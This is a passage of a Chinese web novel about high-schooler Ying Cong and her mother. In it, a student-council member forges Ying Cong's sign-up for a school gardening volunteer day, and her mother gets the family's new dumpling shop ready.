他似笑非笑,将眼神转向在一边沉默的应雨柔。
人的注视是有分量的,感受到自己身上令人作呕的目光,应雨柔缓缓抬起脸,露出一个笑容。
“对嘛,”看到前妻脸上露出与之前并无两样的笑容,李正心点点头,自顾自道,“我知道学费对你来说是有些压力,但对我来说都不在话下,我可以给琮琮……”
“啪——”
一个响亮又不失清脆的耳光,将他还没说完的话堵了回去。
“你!”
李正心的脸火辣辣的,他怒目而视。
“收起你假惺惺的样子,”应雨柔同样不服输地瞪了回去,“琮琮有自己的想法。”
“既然已经离婚了,你少在这里纠缠我们母女,更别对琮琮的人生指手画脚!”
“应雨柔,”李正心抬手抓住她的手腕,语气里隐隐带着不耐,“你们俩所谓的想法,不过就是故意与我作对。”
离开了自己,应雨柔能做的太少,又怎么会知道真正适合孩子的规划呢?
不过就是报复他罢了。
李正心知道自己有错在先,于是就连应雨柔给女儿改姓他都忍了,甚至如今还亲自来给她台阶下。
“你给我松手!”
应雨柔一边挣扎,一边咬牙切齿道。
应琮见状,用力抓住亲爹青筋尽露的手臂。
混乱中,猛地传来一阵狗叫,甚至这声咆哮还有距离他们越来越近的趋势。
三人的动作都停了下来,不约而同地扭头看去。
郁郁葱葱的大树前,站着一个挺拔俊秀的少年,而他的脚边,是一只威风凛凛的大狗。
“不好意思。”
少年人面上没有什么表情,声音也很冷静。
“需要我帮忙叫保安过来吗?这里的安保很好。”
显然,这话是说给应雨柔她们听的。
他身边的狗也呜呜呜地低吼起来,尾巴下垂在身侧,瞪着乌溜浑圆的眼睛,仿佛主人一声令下,就会扑到李正心的身上。
男人是胆小的,原本还硬如铁钳的手松了,丢下一句“你们再好好想想”便匆匆离去。
银灰色的车迅速开走了。
“你们没事吧?”
少年带着自己的狗,朝着她们小跑而来,黑白分明的眸子里,倒映出关心。
……
“说起来,”应雨柔揉了揉小婷的脑袋,笑得有些可爱,“你那天怎么能叫得那么大声,简直比警铃还要厉害。”
立马就吓退了李正心这个色厉内荏的怂货。
听懂她的夸奖,池小婷得意洋洋地甩了甩自己的尾巴,将地面上的尘灰都扬了起来。
应雨柔忍俊不禁,连忙掏出手机给它拍照。
33. 第 33 章
“同学同学——”
“诶,同学,怎么不理人呢?”
身后传来的呼唤声越来越急,正准备背书包回家的应琮四下看看,周围并没有除了自己之外的其他人。
“你在叫我吗?”
她定住脚步,微微侧过身看去。
不远处站着一个短发女生,圆脸,虽然她不太能记人脸,但确信十分面生。
她的手上此时拿着一叠表格样的东西,前胸口袋上还干劲满满地别着两支笔。
“同学!”
短发女生似乎也不认识应琮,见她扭头,眼神亮了一亮,将手上的东西递过去,语气恳切。
“请问你愿不愿意参加下周二的志愿活动?”
应琮自然对这些学校组织的活动没有多少兴趣,可对方的手似乎有不容推拒的力量,她下意识地将报名表格接了过来。
见她接过表格,女生脸上的笑容更加放大,立即向她滔滔不绝地介绍了起来。
“这场志愿活动的内容是帮助学校里的园艺工人整理后山以及阳光菜田。时间大概是两个小时左右,不会占用大家太多的课余时间。”
“可是周二不是要上课吗?”
应琮有些奇怪,哪里有两个小时的时间给她做志愿。
“下周是献爱心主题周,所以下午的最后两节课都不用上。”
女生似乎早有预料,笑容中透露出自信。
这也是为什么,现在架空层摆了一个又一个宣传摊位的原因。
学生会生活部负责这次主题周设计,他们精心设置了许多不同形式、不同内容的活动,其中校内劳动类的志愿设置得最多,奈何却反响平平,作为刚刚参与社团活动的高一新生,她只觉非常挫败。
“哦。”
听罢,应琮淡淡地点点头,起身欲走。
一中怎么这么喜欢设置主题周?
学科主题周也就算了,现在就连做志愿都要再巧设个名目……
公众号没有内容写,可以不写的。
她对什么园艺啊菜地不感兴趣,如果周二下午两节课不用上,自己可以留在教室里自习写会儿作业。
何乐而不为呢?
说到底,没苦硬吃才是一中精神吧……
应琮的思绪已经飘远,但身体又被阻住。
“同学,”女生又快走几步,挡在她的身前,语气软和得犹如刚出炉的布丁,“大家设计的活动里,只有我的无人问津……其实这个志愿不辛苦的,你不想体验一下园艺吗?”
许多人看到园艺工作就敬谢不敏。
想到其他同伴设计的志愿活动,或整理宿舍楼下的花坛,或给校内泳池消毒……都吸引了许多同学来报名,唯独自己的活动,即使是连宣传带吆喝,甚至是“强买强卖”,至今仍是0个人报名。
短发女生咬了咬唇,还是不愿意轻易放弃面前好不容易抓住的对象。
“不想。”应琮拒绝。
冷酷。
呜呜呜为什么社团工作和想象中一点也不一样?
“好吧……”
她过于坚决的态度,令女生不得不败下阵来。
“不好意思同学,耽误你的时间了。”
她侧开身子,为应琮让出本来的道路,脸上似乎挂上了两条面条泪。
应琮没有说什么,径直往前走了。
她本来也没有表现出来对该活动的兴趣,刚下楼没走几步就被人叫住,自己才是莫名其妙吧。
*
看着那个高挑纤瘦的身影逐渐远去,短发女生泄气般地低头往回走,重新回到自己的摊位前。
“你是这个。”
留在摊位里的另一个女生冲她比了比大拇指,表情钦佩。
“别嘲笑我了。”
短发女生将手上的那叠报名表放在桌上,神色落寞。
“热脸贴冷屁股大失败,无颜面对江东父老啊。”
即使是主动出击,死缠烂打,也没有人来报名,看来自己只好和学校后勤部的叔叔重新协商了。
园艺活动,一听就很疗愈啊!为什么会没有人愿意参加呢?
百思不得其解后,短发女生泄气地瘫坐在椅子上,看着清清冷冷的架空层。
学校给的宣传时间只有今天下午放学到晚自修开始前的短短两个小时,如果再招不到人,就只能活动作罢。
可怜她的初次活动策划,可怜她几天熬夜做的宣传单……
她模仿古装剧里女主角发现自己只是白月光替身那般单手抹泪:“罢了,罢了……”
“别灰心啊,”同伴拍拍她的肩膀安慰道,“谁让你挑了一个最不好搞的人下手呢。”
“什么?”
听到她的话,短发女生转头,满脸疑惑。
“你刚刚拦下来的女生,就是我们一中的民选校花啊。高二的应琮学姐。”
同伴顿了顿,又补充了一句,“她脾气本来就很古怪,而且浑身又散发着冰冷之气,拒人千里之外。”
“也没有那么夸张吧。”
回想自己方才和应琮的对话,短发女生固然伤心,但还实事求是。她没听过一中还有票选校花的活动,刚刚的学姐漂亮是漂亮,决绝也是决绝,但也没有高贵冷艳脾气古怪到“拒人千里之外”的地步,至少二人还能进行简单正常的对话。
“你还是了解得不够。”
听到她语气里有为应琮挽尊的意思,同伴斜睨她一眼,高深莫测地摇摇头。
“难道你很了解她?”
短发女生稍显无语。
她们两个明明都是入学不久的高一新生,哪里会跨年级了解一个陌生人。
“那当然,”对方故作高深地点点头,好像在分享什么深宫密辛,“我们部长和她一个班,学姐和我讲了很多关于应琮的事情。”
“比如说她很孤傲啊,仗着数学成绩好就不尊重老师啦,还有脚踏两只船玩弄男生感情啦等等。”
不得已的,短发女生听到了许多关于应琮的八卦。
“达咩达咩!”
见对方有滔滔不绝之势,她连忙比了个暂停的手势。
“与其讨论她的事情,我们还是来想想怎样才能吸引大家来报名参加园艺类的志愿活动吧!”
“很简单啊,”同伴眨眨眼睛,“我已经想好了。”
“?”
“你可以先斩后奏,私下直接把刚刚那个应琮学姐的信息报上去。这样一来,她的那些暧昧对象们,应该也会争先恐后地来参加。”
“不就不缺人报名了?”
听到她超绝设想,短发女生一时都有些愣住了,分不清楚她是开玩笑还是认真的。
“可是应琮学姐已经说了不愿意欸。”
半晌,她弱弱地开口道。
这是闹哪样啊?
“最终目的不是吸引人吗?人够了不就好了。实在不行到时候再把她名字划掉。”
同伴自顾自地将应琮的名字写在报名表上,笔尖划过纸张发出唰唰唰的声音,回头一脸得意。
“这叫策略,懂不?”
“
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反正下周二除了高三的学姐学长们,大家下午都会有空。”
短发女生知道的,这完全就是胡说八道,她们只是在给自己的行为编造出一个合理化的借口。
怎么感觉自己成了不受欢迎的角色呢?
她咬咬牙,犹豫之色不减。
但这毕竟是自己第一次正式举办活动,她将对方的动作看在眼里,默默收回了将欲出口的质疑,最终什么也没有说,什么也没有做。
*
熟悉的回家路,闭着眼睛都不会走失方向,应琮索性从口袋里拿出手机边走边回复依依发来的信息。
她玩手机的技巧已经炉火纯青,只需用余光就能看清道路上的障碍。
走着走着,拐过转角,应琮眼前出现了一对白鞋。
她下意识地往左边走,想要让出路来。
怎料对方也和她做出了同样的动作反应,却偏偏是正好相反的方向。
两个人往左往右,都恰好堵了个正着。
应琮抬起头来,正准备抱歉时,发现这次不是一个生脸。
“你是……”
眼前的男生,头顶深棕色的卷发,一身国际高中的校服——
不是上次在便利店偶遇的路人甲,还能是谁!
“你……认识我?”
男生开口道,眼眸微微低垂。
“那倒不认识。”
应琮矢口否认。
连名字都不知道,哪里算认识。
非要说的话,只能说认识脸。
这个男生细看轮廓较深,还挺洋气的。
对方极轻地点了点头,侧身准备从另一边走过。
“等等,”应琮叫住他,“上次下雨,我们两个见过一面。就在那家便利店门口。”
她转过身,指着自己背后鲜明的店牌。
“好像是有这么回事?”
男生停下了脚步,面上适时地露出一丝疑惑。
“然后呢?”他温声道。
“我把买伞的钱还给你。”
应琮摊开手掌,露出自己的手机。
见状,男生站在原地思考了几秒,最终点点头。
“那我扫你吧。”
应琮打开手机上的扫一扫,准备扫对方的收款码。
便利店的东西一向小贵,转他五十不知道够不够。
她还在心里思忖还人情多少合适,对面递来一个可以微信扫码添加的名片。
???
“不对吗?”
男生低垂着脸,似乎是注意到她脸上的神色,语气轻轻。
“没有。”
算了,加好友就加吧。
扫码后,应琮立即向他发送了好友申请。
男生的头像是一个纯白的色块,什么都没有,就连昵称也是一个简单的字母“H”。
有点小装,应琮在心里嘀咕道,不过回想自己初中的那帮子同学,也是一个赛一个的爱装。
“对了,”将还伞钱的红包发去后,她想起来什么,“怎么称呼你?”
“我姓李。你就叫我同学就好了。”
“好的,李同学。”应琮点点头。
“如果没有其他事情的话,我就先走了。”
“再见,应琮同学。”
李同学摆摆手,继续顺着自己的路往前走。
应琮站在原地,目送着他走进便利商店。
搞不明白,连锁便利店开得到处都是,为什么要专门来吃这一家?
她摇摇头,转身往家的方向走去。
34. 第 34 章
大事小事,接连忙活了快一个星期,应家母女每天都忙得不行,好在先前这家店也是餐饮服务,而且装修大部分都还不错,只需要整修一下就好,因此很快便大致竣工了。
街角处,崭新的饺子店招牌闪闪发亮,阳光在上面自由地遛弯。
应琮连带着也轻松许多。
剩下的工作没多少,所以今天只来了两个工人。
应雨柔走进店内,看到墙角没用完的装修材料,小半桶几近干涸的水泥以及表面斑驳不堪的油漆桶,原本还挂在脸上的笑容忽然有些僵硬。
装修工作虽然能够告一段落,但怎么看都是一片待收拾的狼藉。
工人们正在门外进行最后的水电检查,店旁边还堆着货车刚运来的成套桌椅。
收尾工作最累了。
应雨柔拿起靠在角落的扫把,准备先将地板上能扫起来的垃圾简单扫在一处,最后再彻底地进行清洁。
即使如此,面对远比自家客厅要大的店铺而言,光是打扫,也是一个不折不扣的大工程。
灰尘和碎屑像是会自我增生一般,分明刚扫干净周围,可眨眼间,地板又变得灰扑扑的,叫人心生退堂鼓之意。
唉,应雨柔直起身子,轻轻按了按自己的后腰。
以前怎么没发觉,扫地也能这么累。
不到半小时,她将手上的清洁工具放下,拿出手机开始搜索最近的家政服务公司。
偌大的店,要是全都由自己来搞卫生,恐怕她事后得累得卧床三天不起。
结果在五花八门的家政服务界面转了半个小时之后,她叹了口气,还是重新将手机放回口袋,打消想要花钱偷懒的念头。
那还是自己受受累,把钱省下来吧。
“应老板,水电已经检查好了,都没什么问题。”
正在这时,身穿蔚蓝色工作服的中年男人从门外走了进来,站在不远处开口客气道。
他的另一名同伴蹲在外面,嘴上不知何时叼了一根未点燃的烟,忙着将他们散放在地上的工具收到来时的大包里。
“好的。”
这次找到装修团队还算靠谱,她细心观察过,因为是大企业的专业团队,所以做事格外仔细踏实。
应雨柔观察了这么些日子,知道男人是装修几人中的主要负责人。
“我等下就把剩下的工钱转过去。”她笑笑。
闻言,对方点点头,可没有像前几天那样,汇报完工作就干脆利落地转身离开。
男人站在原地将自己的双手搓了搓,略黑的脸上闪过不好意思,张了张嘴却没有发出声音,十分踟蹰的样子。
“还有什么事情吗?”
应雨柔看向他,眉头疑惑地微微上扬。
“应老板……”
男人犹豫片刻,像是终于鼓起勇气开口,“您的店大概什么时候开业?”
“开业?”
应雨柔停下打扫,“现在还有很多卫生要搞,而且食材也要准备……恐怕没那么快能开业。”
她还没去翻黄历,挑一个开业的良辰吉日呢。
“那……店里需要人手吗?”
男人挠挠头,终于将想法说出了。
“你有推荐的人吗?”
应雨柔终于听出来对方的言外之意,明白他为什么会表现得如此不自然。
“……因为小孩要上学,所以我老婆前两天刚从老家过来这边……最近她一直想找个活干,但是都找不到。”
男人略有些磕磕巴巴,还补充了很多背景。
“你的妻子?”
“她很能干的,既有力气,也很细心。”
提及自己的妻子,男人憨厚的脸上才终于露出一抹笑容。
听他话语不似作伪,应雨柔开始思考雇人的可能性。
店里若是只有她一个人忙来忙去,就是有三头六臂也有些吃不消。多请一个人,倒也能替自己分担分担。
只是……应雨柔最主要的担心的是,自己贸贸然找的人,会不够契合。
以及对方的能力、性格……
但是若要干脆拒绝也没必要。
应雨柔还在心里盘算,男人也没有再开口,只是沉默地站在原地,眼神中隐隐有些期待。
“这样吧,”应雨柔终于开口,语气轻轻,“明天下午,你可以让她过来。我们先相处一段时间看看,然后再商量着签长期合同怎么样?”
虽然知道眼前的人看着是挺憨厚的,但自己毕竟没有和他的妻子打过交道,总要先认识一下再考虑未来的事情。
“好好好,多谢应老板!”
听到她的话,男人喜笑颜开,激动地连手都不知道往哪里放了。
应雨柔将他的欣喜看在眼里,不禁有些好笑。
平时还以为这位都是沉默寡言的。
“欸,你的妻子怎么称呼?”
想到什么,她叫住准备离开的男人。
“美芳。她叫美芳。”
男人顺手将墙边,装满垃圾的袋子拿在手上,准备一起带走。
“那麻烦跟美芳姐说一声,明天可能需要她和我一起搞下卫生。”
应雨柔继续打扫大业,心里暗叹。
*
从早上开始,整个学校里都弥漫着一股躁动不安的氛围,就像是偷偷打开游戏时,猛然响起的BGM,本想隐藏却还是无意识地暴露了许多。
应琮看看面前的黑板,只是一个寻常的周二而已。
繁忙痛苦的一周才刚开始不久,她搞不明白为什么大家今天都笑容满面的。
有什么好事发生吗?
站在讲台上负责值日的女同学,正踮着脚尖把新的课表抄在黑板上,洁白的粉笔字整整齐齐。
“奇怪,”应琮抬头看了一眼,又垂眸小声嘀咕道,“下午的课怎么不写全。”
课表只抄到下午的第一二节课,后面就全是空白了,偷懒也没有这样偷懒的吧?
不怕给检查的值日老师看到扣分吗?
“我们下午不用上最后两节课啊。”
盛逸的耳朵很尖,几乎是立刻就回答她道。
“为什么?”应琮反问道。
“你忘了吗?这周要献爱心,所以下午学生会组织了大家去做志愿活动啊。”
盛逸的表情比她更加疑惑。
“哦……好吧。”
听他这么一说,应琮想起来了,这阵子忙竞赛和家里的装修搞得脑子都转不动了。
好像是有这么回事……上周自己就是放学时被学妹莫名其妙地拦下来,还被游说参加园艺劳动。
她平时在家都记不起来给花浇水,怎么可能会去搞园艺?
更何况还是去学校的后山和阳光菜地这等又晒又偏的地方。
她在家当苦力已经够够的了,现在好不容易可以休息一下,当然要好好享受来之不易的闲暇时光。
“所以……同桌你报了什么志愿?”
盛逸忽然凑到她旁边,好奇道。
“什
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么都没报。”
虽然对下午挺期待,但应琮语气很平淡。在他靠近的一瞬间,她便拿起手上的练习册,隔在两个人中间。
“这么没有爱心啊。”
盛逸习惯于她的全面防御,毫不在意地抬手后仰靠在椅子上。
“嗯嗯。”应琮漫不经心点点头,随后站起来朝他摊开手掌心,“我不仅没有爱心,我还没有耐心。”
“什么意思?”
盛逸看向她,不明所以。
“作业。把你的作业拿给我。”
应琮晃了晃自己的练习册,毫不客气地白了他一眼。
一点眼力见也没有。
“今天怎么大发慈悲,想到要帮我一起交作业了?”
盛逸惊奇地看着她,立刻从抽屉里拉出来书包,边开始翻找,嘴上还不停道。
浅蓝色的练习册分明近在眼前,这个蠢人还在东找西翻,应琮无语地白他一眼,一把将他书包里的练习册拿在手上。
“你就当我良心发现,靠帮助笨蛋同桌减免劳务志愿吧!”
她将两本练习册相叠,放在早就等在一边的组长手上。
盛逸莫名被骂也不生气,放着散乱的书包不管,撑着脑袋看她背影,不免得失笑。
什么啊,心情很好吗?
突然间这么团结友爱,自己倒有点不习惯。
*
下午第二节下课铃刚响,班里忽然不约而同地响起了笑声和欢呼声,迟了几秒后,隔壁班也爆发出同样的声音。
“好了好了,知道你们不喜欢上课。”
像是被欢乐的氛围感染到,许文言的脸上也显露出笑意。
她拿起自己放在讲台上的地理书和U盘,临走前细心叮嘱道,“你们自由活动的时候,千万注意安全。”
“各类活动的名单,我已经打出来放在班长那里了。”
已经走到门口的许文言又补充道,“要是忘记做志愿的地点,可以过去看看。”
盛逸是报了志愿的,他移开椅子,和其他人一起往丁一锐的座位走去。
吵嚷和兴奋与应琮无关,她反倒希望大家都离开教室,这样就可以自己安静地做一会儿作业了。
既然刚上完地理课,她翻开新课的练习册,准备完成相应的练习。
“好啊你!”
应琮刚要下笔,忽然桌旁投来一道阴影。
她抬眼看去,盛逸似笑非笑地站在旁边,唇角微微弯起。
又发什么神经。
应琮重新低下头,懒得理,准备早点把作业写完。
“你报了园艺活动,”盛逸见她还在和自己装傻,索性直接将桌上的练习册抽走,“怎么还做好事不留名,瞒着不说呢?”
“你在说什么,我听不懂。”
从他的话中,应琮敏锐地捕捉到“园艺”两个字,莫名心里一跳。
“喂!我都看见了,不要耍我玩啊。”
感觉自己总是被她耍得团团转,盛逸的语气里多了一丝怨气。
“谁有空耍你……”
应琮下意识反驳,隔了两秒然后才察觉到不对,“看见什么了?”
盛逸状似不满,却还是老老实实道。
“丁一锐那里都出名单了,你自己去看。”
白纸黑字写得清清楚楚,上面甚至还印着学生会的章,竟然还在装傻。
有必要吗?
看着她走过去时,明显比平时急得多的步伐,盛逸不由得轻哼一声。
35. 第 35 章
“怎么这个表情?因为被我发现了?”
盛逸没有忽视应琮蒙上一层冰霜的俏脸,上身前倾,说不上来是调侃还是关心。
“……”
应琮原本白生生的两腮几乎气到粉红。闭眼、深吸气,她缓了缓情绪。
抬头看着盛逸的眼睛,她的声音又冷又轻。
“是不是你给我报了名?”
被她带着凉意的眸子注视着,盛逸下意识端正了神色,连带着坐姿都改变了。
“当然不是我!”
他眼瞳清澈,可应琮的表情丝毫没有缓和。
“不是你还有谁?”
应琮拿了本辅导册指着这个讨人厌的同桌,好似一句话没说好就会打到他身上。
她在班里一向是小透明,除了盛逸这个家伙,谁会闲着没事干和她作对?
没想到自己在应琮那里的信用已然岌岌可危,盛逸张嘴无言,于是左右看看,想要找人证明自己的清白。
开玩笑,前阵子好不容易和应琮关系缓和许多,他自认为自己是应琮在班上第一号朋友,怎么可能自毁长城,替应琮报名参加种地啊。
何况就她,估计连拔草都费劲。
“你没话说了是吧?”
应琮见他哑口无言,还以为是心虚,心里更是笃定。
原本还以为盛逸也没那么糟糕,勉强可以当成普通同学正常相处。
真是讨厌。
“等一下你自己去和负责的同学说清楚,必须给我取消。”她抿了抿唇,转身就要走。
自己原本制定的自习课计划全部被这突如其来的园艺志愿打乱了!
她坚决不可能被牵着鼻子走。
“等等!我都说了不是我做的。”
注意到身边某人看热闹的眼神,百口莫辩的盛逸像是抓救命稻草一般,猛地抓住他的手。
“杨乐能为我证明!”
杨乐?
这件事还和他有关系?
应琮顺着他的动作,转头看向一直很安静的杨乐。
“哥——快救救我!你就把那天发生的全部,告诉她吧——”
盛逸赶紧向他发出求救信号,语气里充满恳求,不知道的还以为是什么苦情伦理剧的拍摄现场。
“他是和我一起的,”杨乐轻轻将自己的手抽了回来,略有些苍白的脸上微微露出一个笑,“上周我俩刚好路过学生会的宣传摊位,对方态度热情,我们又感觉活动应该会有意思,所以就报名了。”
“所以……”
听罢,应琮站在桌边,神情一滞。
“拜托,你用脑……仔细想想,”盛逸把吐到嘴边的攻击力咽回去,字斟句酌起来,“哪有人这么无聊替别人报名啊?又不是拍动画片。”
估计只有动画片里“三天之内举办不好活动就必须解散”的社团自救情节才会这样吧。
如若不是杨乐替自己仗义执言,他哪能洗清冤屈。
“好吧。”应琮将信将疑。
杨乐虽然坐在两人后面,但是并没有和谁更熟,他说的话还是有很强可信度的,
“如果真是我误会你,那我道歉。”她看向盛逸,话语中仍留有余地。
“怀疑我的时候斩钉截铁,道歉时不情不愿啊……”
应琮难得服软,盛逸却罕见地没有顺着台阶下,嘴上还嘟嘟囔囔,趴在桌面用上目线看她。
“我的弱小心灵可是因此大为受伤……”
“……”
应琮无语,但语气放缓了些,“谁让你有先例?”
“我有什么先例?我什么时候有先例了?我对你做过什么?”
闻言,盛逸眼睛一下子瞪得溜圆。
“你……”
应琮头一次吃了哑巴苦,想说他名声在外,但好像也是以讹传讹的误会。而且这些日子里下来,他也没有和丁一锐以外的人接触;想说盛逸伤害别人感情,但这个是自己偷看到的,而且不知道为什么,程依依本人似乎并不为此伤心……
这样一盘,似乎同桌确实没有做过什么很过分的事情,那他俩怎么会老是不对付?奇怪。
今天的事情应该的确与盛逸无关,应琮拧眉,但她肯定没报名啊。
究竟是谁?!难道是——
应琮脑袋里一团乱麻。
她站起身来。
“哎哎哎——怎么说不过就走啦?”
听起来,倒像是盛逸从后面追了过来。
应琮的步子迈得更大了,她头也不回地走出班级。
盛逸顿了顿,想要跟上去拉住她。
“盛逸。”
一个脆生生的女声,冷不丁地插入到这段无声的追逐战中。
“武小圆,你有事找我?”
既然有人叫住自己,盛逸不得不停下脚步,目光也从应琮身上移开。
武小圆?
听到这个名字,应琮的脚步同样停了下来。
“称不上是什么事啦。”武小圆摆摆手。
她依然扎着熟悉的苹果头,微微一笑时,脸上便浮现出两个可爱的小酒窝。
“刚刚我和邹枫看名单的时候,发现你也选了园艺的志愿活动,所以想问你要不要和我们一起过去后山集合。”
盛逸极短暂地沉默几秒后,忽然扬起一个笑。
“正好,”他伸手指了指不远处应琮的背影,无比开朗,“应琮也报了园艺,你们几个女生可以一起过去。”
“我就和杨乐一起跟在你们后面就行。”
虽然他提出叫上应琮的话多少有些突兀,但武小圆没有表现出惊讶,只是轻轻点头说好。
这个声音……
武小圆的脚步声走了,应琮稍一抿唇,放弃了去找社团负责人的念头,回过头来。
*
实验一中,被誉为是江城占地面积最大的高中,学校也把此作为是招生宣传的一大卖点。
然而只有亲身生活在“樊笼”里的学生们才知道,事实是多么的荒唐。
在计算面积的时候,一中十分狡猾地将宿舍楼后面的一整片山都算了进去。所以学校听起来面积辽阔,实际可利用面积,也不过就是眼前的几幢建筑外加运动场,和其他高中没什么两样。
学校后山终年郁郁葱葱,枝叶葳蕤,盘根错节。不知生了几十年的巨木,无限地向头顶的天空延伸自己的枝条,生得乱七八糟,全然无视顶端优势的限制。茂密的树林,也养育出许多昆虫动物,它们偶尔也会不合时宜地出现在校园内,吓人一跳。
正因如此,除了外围较平坦处、特意划分出的阳光菜地外,学校严厉禁止师生靠近后山内部,生怕会出现什么事故。
每个学校少不了的恐怖传说,十有八九也和后山这一禁忌之地有关,为学生们津津乐道。
盛逸说的轻松,但应琮实在和武小圆几人不熟,为了避免和她们几个走在一起的尴尬场景,应琮特意选了一条平时没什么人会走的路。
她沿着运动场后的小道蜿蜒而上,石头阶梯有些窄,所以必须小心脚下。
其实自己很少来后山附近转悠,对这个地方并不熟悉。
只知道每逢雨季,靠近后山的路边,会冒出许多白嫩的蘑菇。它们大多是圆形的,很可爱。不过有些爱开玩笑的人,会故意把它们的菌盖掐下来,零零散散地丢在草丛上。远远看去,像是蘑菇们在疯狂繁衍。
应琮从另一个方向往集合地点走去,同样是做志愿的几人,早已等在原地。
“嗨。”
见有人过来,站在三人中间的女生抬手主动向她打了个招呼。
“没想到你真会参加这种活动。”
女生面上露出一个清浅的笑容。<
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“是啊,”应琮回望她的眼睛,似笑非笑道,“我也没想到自己真的会来。”
她故意重复眼前人的话术,在“真的”两个字加重读音。
站在熊颜颜旁边的,不是自己班的武小圆和邹枫还能是谁?
眼前的三个,正是那天洗手间里谈论自己的人。
听到她的话,女生脸上笑容未改,只是微微侧了侧身子,小声和身边的朋友说着什么。
“你怎么从小路过来了?”
原本还懒懒站在一边的盛逸走了过来,和她站在一排,小声问道。
“我等了半天都不见人影,我还以为你要偷偷跑路。”
听到控诉,应琮有些无语地瞥他一眼。
方才打过下午第三节课的铃声,而且志愿活动的负责人都还没来,怎么就等了半天?
某人还是一如既往地喜欢夸张。
两个人只是站在一起,就引来了旁人的侧目。
像是能够感受到她们投在自己身上的眼神,应琮不动声色地往后退了几步,保证和盛逸之间的安全距离。
“哎呀,没想到今年来了这么多人。”
两名头戴草帽,脚穿雨靴的校工出现在众人面前。
为首的阿姨满脸笑容,显然对他们这些免费劳动力十分满意。
“今天我们的任务是修建多余的树枝和整理菜地。”
阿姨放下自己挎在身后的包,将里面的工具一样一样地拿出来。
“你们分成两个人一组,一个人负责拿剪刀,另一个人拿扫把。”
她看向眼前站着的两男四女,眼神热切。
听到两个人一组,盛逸下意识地转头看向应琮,对方却压根没看他。
“怎么办呀颜颜,我们要怎么组队呢?”
另一边,武小圆一个手拉着熊颜颜,另一个手拉着邹枫,面露纠结。
熊颜颜没有说话,她看向盛逸所在的方向。
“你要和盛逸一组?”
注意到好友目光的转移,武小圆心领神会地点点头,松开自己的手。
“那我就和邹枫一起了啊。”她拉着邹枫,首先去领了相应的工具。
熊颜颜抬手简单将自己的八字刘海重新分好,不紧不慢地走了过去。
“盛逸,我们两个要不要一组?”
她轻轻开口,声线变得更加柔美。
“啊?!”
面对女同学的邀请,盛逸表现得格外惊讶,直接道:“为什么?我们好像还没有那么熟。”
这人不是隔壁班的语文课代表吗,怎么开始和自己套近乎了?
难道是知道自己是年级第三,想要偷学他的语文技巧?
盛逸在心里叹气。
你若盛开,蝴蝶自来。
奈何自己有昆虫恐惧症。
“那你和她难道就很熟吗?”
被他拒绝后,熊颜颜倒不显得尴尬,只是指着应琮平静地反问道。
“我俩好歹也是同桌吧。”盛逸自然地接话道,“比你肯定是熟点。”
“不接触怎么变熟?”熊颜颜又往前走了一步。
隔着十几米的距离,应琮和杨乐遥遥对望,两个人的表情莫名有些一致。
“那边那几个,你们还没有组好队吗?”
眼看半节课都要过去了,还只有两个女生拿了工具,原本还笑着的阿姨不禁开口催促。
“还没——”盛逸回道。
“分个组很难吗?”
阿姨走了过来,雷厉风行地开始分配。
“你就和那个男生一起,然后你们两个女生一起。”
“什么?!”
熊颜颜愣了,险些维持不住自己的表情。
应琮抿了抿唇,转脸去看不远处的绿树和蓝天。
啊,多么荒谬的一天。
36. 第 36 章
“我先来教你们如何修枝。”
校工阿姨带着他们一众人来到后山和校园的交界处,道路两旁生有一丛丛低矮的灌木。
“就这样,尽可能地剪平就好了。”
一番简单讲解过后,她十分熟练地操起巨大的剪刀,三两下便将横斜逸出的枝条剪去,破碎的绿叶混着浅棕色的细枝落在路边。
刚修完一丛,另一名阿姨便拿着扫把上前将地上的树枝归拢成一堆。
“你们就沿着这条路,开始干活吧。我们等会儿再过来。”
简单演示后,两名阿姨便离开了。
几人站得有些分散,谁也没有率先动作。
“……颜颜,”武小圆小心翼翼地开口,“要不,要不我和你换吧?”
即使她已经压低了自己的声音,可应琮还是听得一清二楚。
她面上神色不显,唇角仍微微抿起。
自始至终,应琮都不是很清楚自己哪里做错了。她一向独来独往惯了,自诩在校园里足够透明人,不过也许这几个人对她散发的微妙的恶意,也不需要有什么明确的缘由。
如果再有一次,应琮心里想,但凡这些人是当着她的面说的,自己也绝对不会再忍气吞声。
微妙的沉默中,她没理会三人,弯腰拿起地上的园艺剪,一言不发地便开始给身侧的灌木剃平头。
听着剪刀大开大合时发出的“嚓嚓”声,以及碎枝叶簌簌落下的声音,熊颜颜的表情有些变幻莫测。
“不用,”她兀地推开武小圆想要挽住自己的手,“就按分组来吧。”
“可是……”
了解她的武小圆还想说些什么,一旁的邹枫抬手拽住了她,轻轻摇了摇头。
两个人拿好自己的工具,没再说什么,来到道路另一侧的灌木丛,学着应琮的样子开始干活。
熊颜颜垂眸看着地上放着的扫把,没有立刻动作。
“应琮,你站过去点。”
要不是叫了自己的名字,应琮还没反应过来。
她仰面刚好对上午后刺眼的阳光,一瞬间很后悔没带上一顶草帽或者墨镜,旋即又否决这一想法。戴草帽肯定会被盛逸这家伙笑话,戴墨镜又不知道会被莫名其妙的人说闲话。
来人正是拿着扫把的盛逸。
他不是和杨乐一组吗?
专门跑过来干嘛?
应琮小脸晒得发红,刚好被挡在盛逸带来的阴影之下,等视线适应了,她伸出脑袋往他身后看去——
杨乐拿着剪刀,微微垂眸,专注地剪着多出来的枝叶,看起来倒是有几分工匠风范——如果他不是只专注地剪眼前那一小块的话。
原本茂密翠绿的灌木,此时已经出现了一块令人心酸的斑秃,隐约有逐渐扩大的趋势。
“你搭档在干嘛?”
对方的状态实在专注到有些离奇,应琮没忍住,小声问道。
“他以为自己是园艺大师,显然已经陷进去了。”
盛逸耸耸肩,顺手把她脚边的树叶扫去。
“我都不敢靠近,怕他不小心把我也给剪了。”
“你们在说什么?”
熊颜颜无比自然地靠近,插入到二人的对话中。
“没什么,随便聊聊而已。”
盛逸收起自己还没说出口的玩笑话,恢复平时的样子。
“这样啊,”熊颜颜笑笑,微微转脸看向没有说话的应琮,“既然我是你的搭档,就没必要让人来帮忙了吧。”
听到她的话,应琮有些诧异,面上出现微澜。
和其他人比起来,她们两个属于是被硬凑到一起的搭档。
而且刚才听到和自己一组时,熊颜颜的表情明明很差劲,应琮还以为这下自己不得不孤军奋战了,没想到她竟然主动提起这事。
“我说错了吗?”
察觉到她眼神中的狐疑,熊颜颜往左一歪脑袋,笑得很无害。
然后她慢悠悠地伸长手上的扫把,蜻蜓点水般地在地板上划过。
如此轻柔优美的舞蹈动作,以至于脚边散乱的残枝,丝毫没有移动的趋势。
“……”
这扫了和没扫有区别吗?
